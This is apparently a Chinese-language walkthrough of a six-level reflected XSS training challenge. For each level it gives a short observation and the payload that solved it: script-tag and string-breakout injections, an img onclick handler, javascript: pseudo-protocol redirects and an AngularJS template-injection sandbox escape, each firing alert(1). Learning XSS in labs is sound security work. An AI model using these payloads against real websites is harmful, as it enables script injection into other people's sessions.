level 1
反射型XSS
观察url
username=<script>alert(1)</script>
level 2
查看源代码发现
这里做了编码
因为本身是放在script标签里,只需要闭合就可
username=123';alert(1);//
level 3
无果
换一个标签后发现可行
username=<img src="javacript::alert(1)" onclick="alert(1);">
level 4
会进行重定向
可以发现
通过 getQueryVariable函数获取get请求jumpUrl,然后会通过escape(),输出到那个重定向中
试试第二关的逃逸
观察源码发现,当10秒后会重定向到到jumpUrl的页面
利用伪协议即可
?jumpUrl=javascript:alert(1)
level 5
观察源代码,当get请求autosubmit为真时,会重定向到get请求action
这个不难想到了
action=javascript:alert(1)&autosubmit=1
level 6
可以发现被全部编码了
发现有个angular.js
测试成功,就是个模板注入
直接用文章里的payload
username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}